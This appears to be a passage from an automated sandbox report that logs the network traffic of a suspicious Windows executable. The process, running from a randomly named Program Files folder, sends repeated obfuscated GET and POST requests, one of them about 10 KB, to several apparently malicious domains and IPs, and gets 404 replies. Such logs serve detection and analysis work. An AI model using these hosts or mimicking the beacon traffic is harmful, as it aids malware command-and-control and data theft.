4f 35 2b 61 77 67 2b 55 74 41 42 44 33 75 78 52 63 38 70 56 72 7a 58 46 50 4e 4e 59 67 62 57 6f 42 4e 48 6c 42 53 52 7a 73 2b 6b 42 64 55 34 64 54 58 48 55 4c 67 34 2f 79 52 65 49 7a 4b 46 6e 74 76 70 31 30 6d 64 53 2b 6d 6a 44 79 68 54 7a 66 53 75 6e 68 62 47 73 2f 66 30 6a 39 72 62 79 76 34 6a 44 4c 72 6d 69 50 31 42 48 6f 68 77 58 30 75 57 69 63 61 6d 68 73 53 56 51 32 4e 57 33 67 4b 35 6b 2b 4a 67 55 63 4d 51 39 77 52 59 57 58 6e 6f 42 70 44 61 54 42 46 72 4c 46 42 [TRUNCATED] Data Ascii: 3vNdCBvX=nbjRd4jDDoGnTBwK5536c8b73UulkKhdRXUdybKDLQP1ae0znssQyrrFu7zXKrfJftKITlEXVFSdmCy9fyPUsBDs1P0sgriTRJjBFFStUthF3PQD3g5SeHyKUzEcFl9IE84mrBYD2k1mZPwZhX1dDjEgVRGT9Ylo71m5SwNCqAtO5+awg+UtABD3uxRc8pVrzXFPNNYgbWoBNHlBSRzs+kBdU4dTXHULg4/yReIzKFntvp10mdS+mjDyhTzfSunhbGs/f0j9rbyv4jDLrmiP1BHohwX0uWicamhsSVQ2NW3gK5k+JgUcMQ9wRYWXnoBpDaTBFrLFBgJdmQwiyKUJqVXUgx32z66E7lSfSwBm92fjCoYGkvVQDEgJP14MIsBGccE1TLiZflI/MnVdC4LwVDUDBx/6TtyW//sjSwJLRtvtPOFXpG7R7mr9wh/hKtwQuoYU3OYc0Ec88LZCl4+xWkl30PChomE8sCe7diIkiZ56nGdiphwSNEaMM23Mtg8aGamJvwyi/l+Ii7bi6D+msEC+4v/OTPOnb6OzeLUU6fEZbG9W0VKP5ABYmE5JrL6mrpgyB+ljxGAhAZv2qHJwJJ1Cr1N8YbO7qVGEkd82QsFVVSh55tJstPfS/tnyBzNImDj2G5nO15zYbccXNaewkjga94wU8JVkwTXnXgBs0ISyzCtREji2mJpZ2meMTlLZsb6yDAs/sPEfWcpgK/cRHaGq4UeTu6wc3KohZqhaM6muPAPwZbMHbGVHJ0kOsDFt5PlMEVQyx0tInst/WwOIHRpoOa3eal89krYCrKXRn2ydUNHla12b8Jp+CNg9eciDqE0MEH+V6f4stBEGrEH9Lkr2DCuxLxVDOJQnFtIEu+rD01V4vJIEAjp9jpnVbKj3i4Wck/u4FHg21PrBgamXbtxvpWV9hDoU7lqqNy/LCZk8lfzaEMMW9I/ZPYpwpFasa3nXPAOmIGOxj5ikREaCLnIrAO47y4EoLLeK6H1bcmm [TRUNCATED]
Nov 24, 2024 08:12:33.076814890 CET	1236	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 07:12:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Thu, 29 Aug 2024 10:57:57 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1AgBr3xSXfcRde%2FSAIDDN9sIKwa1vbLebtGg8HcQqLR2diOP22MxOzsy76fu0Es9np2gSxqNwKAzGEfj1txMU8KvHy1yHg6IktTiwGi3G01hlqHbG8085LuRQepcj%2FSZQseL1QhHl9Ko"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77975c8fa21a34-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1783&sent=3&recv=11&lost=0&retrans=0&sent_bytes=0&recv_bytes=10842&delivery_rate=0&cwnd=175&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 64 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 54 51 6f d3 30 10 7e df af 38 82 40 20 2d 75 d3 6e 8c 26 69 a4 d1 6e 62 d2 80 89 15 c1 1e bd e4 1a 7b 24 76 b0 af 69 c3 c4 7f 47 4e b2 b6 13 b0 27 9c 17 fb ee bb ef bb 73 ee 1c 3f 9b 7f 9a 2d 6e ae ce 40 50 59 c0 d5 97 77 97 17 33 f0 7c c6 be 8e 67 8c cd 17 73 f8 f6 7e f1 e1 12 82 c1 10 ae c9 c8 94 18 3b fb e8 81 27 88 aa 90 b1 f5 7a 3d 58 8f 07 da e4 6c f1 99 6d 1c 4b e0 c2 fa ad 6f db 98 41 46 99 97 1c c4 ad c8 a6 2c 94 9d fe 85 20 98 4c 26 5d 9c e7 40 61 c1 55 3e f5 50 79 b0 dd 25 b1 40 9e 25 07 00 00 31 49 2a 30 39 1a 1e c1 cb 32 e3 56 44 f0 51 13 9c eb 95 ca 62 d6 39 3b 60 89 c4 c1 e9 f9 f8 63 25 eb a9 37 d3 8a 50 91 bf 68 2a f4 20 ed 4e 53 8f 70 43 cc e9 47 90 0a 6e 2c d2 f4 cb e2 dc 7f eb b1 7d 22 c5 4b 9c 7a 19 da d4 c8 8a a4 56 7b 0c d7 da 98 e6 10 2a 9e 23 28 4d b0 74 c9 6c c3 2d 35 05 02 35 15 f6 5a a9 b5 5e e7 73 eb 56 67 0d dc 2f b5 22 df ca 9f 18 06 47 d5 26 82 54 17 da 84 cf 4f da 15 41 eb 5e f2 52 16 4d c8 8d e4 45 04 8e ca e7 85 cc 55 [TRUNCATED] Data Ascii: 2d0TQo0~8@ -un&inb{$viGN's?-n@PYw3\|gs~;'z=XlmKoAF, L&]@aU>Py%@%1I092VDQb9;`c%7Ph NSpCGn,}"KzV{*#(Mtl-55Z^sVg/"G&TOA^RMEU"4-1QN&'Rp260t>;<<};
Nov 24, 2024 08:12:33.076905012 CET	334	IN	Data Raw: b5 22 ad 61 8d 32 17 14 c2 ad 2e b2 08 0a 24 42 e3 db 8a a7 52 e5 21 f8 81 03 3e c8 fb e3 56 7e 3c a9 36 7b fa 15 dc af 65 46 22 1c 77 b4 7f 16 db 13 f8 05 2e 29 e4 2b d2 51 6f 30 ad 76 6b 79 c0 90 ae 42 18 bb 3a 77 0a 99 ac ff 8b c6 8e 91 87 85 Data Ascii: "a2.$BR!>V~<6{eF"w.)+Qo0vkyB:wTw6>:9}I5 b[rnhba}/VIA\n'QqSr5HudwObVa"p3<Fz@nJ52T9<iFZR<m-$l+H
Nov 24, 2024 08:12:33.077071905 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50042	104.21.42.77	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:12:34.569503069 CET	466	OUT	GET /f8c6/?3vNdCBvX=qZLxeIvUMpnHejM+2fTaZNrv2WO4y9kWVFIDlZeaKgP5Xe4TtN4Ku6PXk96ANpScY+aAYV4Nd0GQ4lG6LSWgsy7m2PREgKHVMtzZClnOVsBz8/E/4iFHS34=&etx=BXy4elO0X HTTP/1.1 Host: www.zriaraem-skiry.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Nov 24, 2024 08:12:35.944679022 CET	1236	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 07:12:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Thu, 29 Aug 2024 10:57:57 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XU%2B%2FeBuyhZbQaCVHCP8THNIc8pBHNmgYv2RthtfTySjzC3HuAWKYDvZPTfdes3m7Yyo%2FAeOtdcQ7JtJIhih4f4wDjWWOuRh7D4%2BJX5T6%2Ft20IOZJOzmPdYucrZfsFbZEjFmkLTLA%2BUjy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77976dee424261-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1571&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=466&delivery_rate=0&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 35 37 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 26 6d 64 61 73 68 3b 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e [TRUNCATED] Data Ascii: 57d<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <title>404 — Not Found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <meta name="description" content="Sorry, page not found"/> <style type="text/css"> body {font
Nov 24, 2024 08:12:35.944747925 CET	1005	IN	Data Raw: 2d 73 69 7a 65 3a 31 34 70 78 3b 20 63 6f 6c 6f 72 3a 23 37 37 37 37 37 37 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 7d 0a 20 20 20 20 20 20 20 20 68 31 20 7b 66 6f 6e 74 Data Ascii: -size:14px; color:#777777; font-family:arial; text-align:center;} h1 {font-size:180px; color:#99A7AF; margin: 70px 0 0 0;} h2 {color: #DE6C5D; font-family: arial; font-size: 20px; font-weight: bold; letter-spacing: -1px; margin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50043	172.67.168.228	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:12:41.862071991 CET	719	OUT	POST /gb2h/ HTTP/1.1 Host: www.nmgzjwh.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.nmgzjwh.net Referer: http://www.nmgzjwh.net/gb2h/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 205 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 4a 43 36 53 33 72 39 63 30 66 53 50 41 70 6b 54 70 45 35 6e 6d 54 4f 74 52 4c 51 36 6c 6e 79 67 70 7a 36 39 43 68 70 42 41 70 65 63 6f 75 4e 6a 59 54 31 69 41 53 73 55 4a 57 4b 67 36 6e 4d 2b 77 62 36 75 67 30 36 45 48 57 45 6f 58 30 41 39 77 7a 4e 30 54 62 59 35 73 52 34 62 6e 77 53 44 65 45 47 57 53 31 2b 53 46 44 4d 63 6f 64 6e 4a 6d 2b 42 59 61 75 43 47 46 39 30 34 55 46 4e 59 66 53 4d 4d 77 55 57 46 68 67 37 6a 52 36 55 46 42 4c 74 49 4c 43 2f 50 67 38 4c 6c 55 59 6c 4e 6f 4d 71 54 49 37 66 78 74 64 63 62 67 65 6e 6d 38 7a 33 69 67 4c 66 37 74 67 33 62 58 58 37 52 76 77 3d 3d Data Ascii: 3vNdCBvX=JC6S3r9c0fSPApkTpE5nmTOtRLQ6lnygpz69ChpBApecouNjYT1iASsUJWKg6nM+wb6ug06EHWEoX0A9wzN0TbY5sR4bnwSDeEGWS1+SFDMcodnJm+BYauCGF904UFNYfSMMwUWFhg7jR6UFBLtILC/Pg8LlUYlNoMqTI7fxtdcbgenm8z3igLf7tg3bXX7Rvw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50044	172.67.168.228	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:12:44.523943901 CET	739	OUT	POST /gb2h/ HTTP/1.1 Host: www.nmgzjwh.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.nmgzjwh.net Referer: http://www.nmgzjwh.net/gb2h/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 225 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 4a 43 36 53 33 72 39 63 30 66 53 50 44 49 30 54 36 33 68 6e 68 7a 4f 75 65 72 51 36 76 48 79 38 70 7a 47 39 43 6a 45 5a 41 37 71 63 6f 4e 5a 6a 62 57 5a 69 42 53 73 55 64 47 4b 70 2b 6e 4d 31 77 62 32 49 67 31 47 45 48 57 51 6f 58 30 77 39 78 41 6c 37 51 72 59 37 6b 78 34 64 36 41 53 44 65 45 47 57 53 31 71 34 46 44 55 63 6f 4e 58 4a 67 72 31 62 62 75 43 5a 54 74 30 34 51 46 4e 55 66 53 4d 71 77 57 69 76 68 6d 33 6a 52 34 38 46 42 61 74 4a 41 43 2f 7a 75 63 4c 77 45 4e 49 49 73 4d 54 45 48 4b 6d 54 72 75 59 4c 73 34 71 38 74 43 57 31 79 4c 37 49 77 6e 2b 76 61 55 47 59 30 77 30 39 32 2f 75 37 35 65 4c 36 52 4c 70 62 53 4b 63 4b 78 6e 55 3d Data Ascii: 3vNdCBvX=JC6S3r9c0fSPDI0T63hnhzOuerQ6vHy8pzG9CjEZA7qcoNZjbWZiBSsUdGKp+nM1wb2Ig1GEHWQoX0w9xAl7QrY7kx4d6ASDeEGWS1q4FDUcoNXJgr1bbuCZTt04QFNUfSMqwWivhm3jR48FBatJAC/zucLwENIIsMTEHKmTruYLs4q8tCW1yL7Iwn+vaUGY0w092/u75eL6RLpbSKcKxnU=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50045	172.67.168.228	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:12:47.202282906 CET	10821	OUT	POST /gb2h/ HTTP/1.1 Host: www.nmgzjwh.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.nmgzjwh.net Referer: http://www.nmgzjwh.net/gb2h/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10305 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 4a 43 36 53 33 72 39 63 30 66 53 50 44 49 30 54 36 33 68 6e 68 7a 4f 75 65 72 51 36 76 48 79 38 70 7a 47 39 43 6a 45 5a 41 37 79 63 6f 39 46 6a 64 42 4e 69 43 53 73 55 42 32 4b 6b 2b 6e 4d 53 77 59 47 4d 67 31 4c 7a 48 55 6f 6f 56 57 34 39 32 78 6c 37 48 37 59 37 6f 52 34 63 6e 77 54 42 65 45 57 53 53 31 36 34 46 44 55 63 6f 50 50 4a 32 4f 42 62 5a 75 43 47 46 39 30 6b 55 46 4d 39 66 53 55 55 77 57 6d 56 68 57 58 6a 52 59 4d 46 43 73 42 4a 4e 43 2f 78 70 63 4b 31 45 4e 4d 44 73 4d 50 49 48 4b 44 2b 72 70 51 4c 39 66 48 66 39 32 4f 52 6a 64 58 6e 72 77 6e 4e 61 56 2b 39 78 78 67 69 35 2f 2b 47 6b 74 48 46 56 4c 77 77 57 36 4d 61 7a 51 5a 30 30 71 79 76 4e 2f 65 79 47 75 74 50 70 37 34 58 37 54 48 69 47 58 31 67 52 54 68 76 53 4c 42 53 74 71 59 42 55 45 64 79 30 2f 61 33 44 33 6b 32 74 4d 4c 36 69 74 6d 44 58 4a 69 6b 6b 2f 31 67 5a 63 31 66 47 46 74 6f 56 44 36 35 4e 7a 48 34 48 4e 6c 52 33 49 50 73 44 31 76 46 4f 58 69 4e 53 77 48 44 4b 6e 7a 74 35 77 38 2b 59 67 5a 2f 36 [TRUNCATED] Data Ascii: 3vNdCBvX=JC6S3r9c0fSPDI0T63hnhzOuerQ6vHy8pzG9CjEZA7yco9FjdBNiCSsUB2Kk+nMSwYGMg1LzHUooVW492xl7H7Y7oR4cnwTBeEWSS164FDUcoPPJ2OBbZuCGF90kUFM9fSUUwWmVhWXjRYMFCsBJNC/xpcK1ENMDsMPIHKD+rpQL9fHf92ORjdXnrwnNaV+9xxgi5/+GktHFVLwwW6MazQZ00qyvN/eyGutPp74X7THiGX1gRThvSLBStqYBUEdy0/a3D3k2tML6itmDXJikk/1gZc1fGFtoVD65NzH4HNlR3IPsD1vFOXiNSwHDKnzt5w8+YgZ/6gIAcs5nqHSSQwr7A0NFXr+EM9tNO4EdRnUOMmHRvrPi4OxGl7IoCsuTAUIHxKkxKpzSkYYijVDW4e16XCsnGNs8M3Zc1b3xtu0aOqaI/5m8jScEAWwq/bSobJcw+8S+4hm/jr3YmhXysF7Rj4Lzub7w/kem2jWA8rsDg7tSxkJNQz13N2E9dBWNvEcRhJeIXi2Ib+CkA/SCs52gIKKbFQbGQ9H0d1TC0EQX9earjdtdqiwuva4rWmQt7Qcx68ME2YXFGFdjLD2F7OslVbHwlknqS4zAVZ6MuQhREOmpjOv42yok8tFU2deaMiDqySKgTV5ywgWxELSS3inqES8RouX/5rdRhDrZehzZ3rsta0tx+OJduWxbtw/Wt6KJKp9dlhGS+5THoKeGufHb6zz7IGghudfWbMMBCsiVjsEAuhU2EyE2OtMkCKqvdYf0sHGeUHxmztJpVh0FRdVSr8ZGmXXkm2XMYKrXqf76/k/0IIU4PwxnUrIHZad7GOUL8lHPbuajxFiYASFgYFa1tV+2jJY9m1UNryZQ42ctFkI+oMCD1NEbpTo0jgBzNb5sKK+f8VxNYEzCAT2A+LzpksA7KtbDlw/SGjEzWWVPJiWyMpO8R3Bmw1LXpBgHJhTmebcynxZOzePt92ddiPv88g5JsTwRpJBBED/xfLr [TRUNCATED]
Nov 24, 2024 08:12:48.821084976 CET	902	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 07:12:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OSb3x4YC0arQMdCNS%2FiImRi2s5C%2Bo%2FFpK8h%2FlzNPerCzKbG1Q0gqwGQyaoyjBYvluIYtg%2Fd6k2FTINV%2Bz1hXANXAF8r0TkCXvI5ClYaRZh%2Bt2FkKjq%2FiBC5MIB3KMMPj%2BRE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7797bcec31c43b-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1470&sent=4&recv=10&lost=0&retrans=0&sent_bytes=0&recv_bytes=10821&delivery_rate=0&cwnd=185&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 70 d9 24 e5 a7 54 da 71 d9 24 a7 e6 95 a4 16 d9 d9 64 18 a2 ab cf 30 b4 b3 d1 87 4a 73 d9 64 14 d9 c1 d4 e6 a5 67 e6 55 20 49 e9 43 8d d2 07 bb 01 00 ad 72 6b 8d 8a 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kp$Tq$d0JsdgU ICrk0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50046	172.67.168.228	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:12:49.863296032 CET	459	OUT	GET /gb2h/?3vNdCBvX=EASy0dFQ3+mIcpYj5hhEpzGwaoMP7Xj9wz6GDDYkBoOZntt4ETpAdTcmLSDA/l8Pq56TjzGqLUU3SQIDrjgXHLAts09AmDfBZWK+en/xOBIa/+jQwvZyXLY=&etx=BXy4elO0X HTTP/1.1 Host: www.nmgzjwh.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Nov 24, 2024 08:12:51.492211103 CET	888	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 07:12:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WurFPj1JcJ1uFHk%2BFiD8RfeidKmi6k10MmkL4pZ033HGVq9QTaQWWSfHlkXEOUk4jA5zjvoHJgaar9hELacHOU8SxKPvQnyr2ItO0qmC0xxzbBoH1ATQugKDL5hNcNQeLQM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7797cdaedc8c09-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1761&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=459&delivery_rate=0&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 38 61 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8a<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50047	194.58.112.174	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:12:57.261665106 CET	731	OUT	POST /gdvz/ HTTP/1.1 Host: www.sklad-iq.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.sklad-iq.online Referer: http://www.sklad-iq.online/gdvz/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 205 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 31 30 41 6a 54 74 36 33 45 69 66 42 7a 65 39 51 45 4f 4c 2f 38 45 50 70 36 49 59 6e 66 6e 6c 59 5a 6a 77 71 64 6a 79 75 34 70 4f 4c 31 67 6b 36 43 70 72 32 63 73 38 38 74 31 51 59 59 77 6e 4a 77 6c 78 48 76 45 5a 49 51 59 35 63 53 67 71 77 4d 66 43 35 5a 44 74 6e 75 34 69 70 41 6f 72 48 68 30 4b 64 70 72 4d 4c 42 34 4f 6b 6b 35 31 4a 62 79 41 78 39 6f 6c 71 34 6a 6b 67 6d 49 33 75 6f 31 6f 43 4f 79 6a 2b 4c 62 79 74 2b 71 37 70 59 58 57 68 43 78 2f 73 75 76 42 6c 6b 49 34 72 44 47 2b 77 4e 42 65 58 4c 65 47 43 6d 6f 71 74 6c 73 5a 6e 46 35 6f 4d 57 34 78 45 39 51 2b 49 6f 41 3d 3d Data Ascii: 3vNdCBvX=10AjTt63EifBze9QEOL/8EPp6IYnfnlYZjwqdjyu4pOL1gk6Cpr2cs88t1QYYwnJwlxHvEZIQY5cSgqwMfC5ZDtnu4ipAorHh0KdprMLB4Okk51JbyAx9olq4jkgmI3uo1oCOyj+Lbyt+q7pYXWhCx/suvBlkI4rDG+wNBeXLeGCmoqtlsZnF5oMW4xE9Q+IoA==
Nov 24, 2024 08:12:58.667351961 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 24 Nov 2024 07:12:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 64 31 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 4d e2 f4 53 1e 05 e4 b4 28 14 85 18 2e 87 e4 9a fb ca ee 50 34 6d 0b 48 ec a4 49 10 23 46 d3 00 05 82 16 7d a1 e8 a7 02 f2 43 8d e2 87 f2 17 76 ff 51 cf 9d d9 5d 2e 29 52 7e c4 29 2a 40 12 39 3b 73 e7 ce bd e7 9e 7b 67 66 9b a7 7b 81 2d a7 a1 60 43 e9 b9 ed 26 fd 65 b6 cb e3 b8 55 71 e2 0e ef f1 50 3a bb a2 c2 5c ee 0f 5a 95 68 5c 41 1f c1 7b ed a6 27 24 67 f6 90 47 b1 90 ad ca 7b 97 7e 69 9c c3 33 d5 ea 73 4f b4 2a 21 8f 46 8e 3f a8 30 3b f0 a5 f0 d1 29 12 83 68 6c 44 90 39 df 73 d7 11 93 30 88 64 a9 eb c4 e9 c9 61 ab 27 76 1d 5b 18 ea 4b c3 f1 1d e9 70 d7 88 6d ee 8a d6 3a 44 48 47 ba a2 3d 99 4c cc 78 e4 f2 9e e1 7c 68 06 be eb f8 a2 69 e9 47 4d 7c 19 b1 48 b8 ad 4a 2c a7 ae 88 87 42 60 16 4f f4 1c de aa 70 d7 ad b0 61 24 fa 85 ae 4a 37 83 8f 65 60 da 71 8c 19 66 e3 1d ac 22 ef dd e7 50 2b f0 4d fc d9 5c af 30 32 1f ac e5 f1 81 b0 ae 18 aa 63 bb 19 db 91 13 ca b6 75 a6 79 7a fb 8d 8b [TRUNCATED] Data Ascii: d1bZko_1fQRERMS(.P4mHI#F}CvQ].)R~)@9;s{gf{-`C&eUqP:\Zh\A{'$gG{~i3sO!F?0;)hlD9s0da'v[Kpm:DHG=Lx\|hiGM\|HJ,B`Opa$J7e`qf"P+M\02cuyz]zmuj`b-X-mXM+cX}/bi^(`GvRNr3E"S8t4\Aok:NV`;:3Jd,Gut$rEK svW5@JR\D7Q(9Hd?%\|>Qr7wnn4:l6P0`Y=A(\|@-"y4t#(WL?Jo6-nZXGt@7&CQA,VvRnYlmdgX6fzhOh#RUnN9sUwR~.a@?\|QG9Y6!-{;WE\|_/F.y/u\"50pbk{Z4n`H'-ZoHKaSV_w)O^N/S{2%uks,\ecJ0c/W\|l,;L~Q'3;`&GgMIt)KF)RjC' 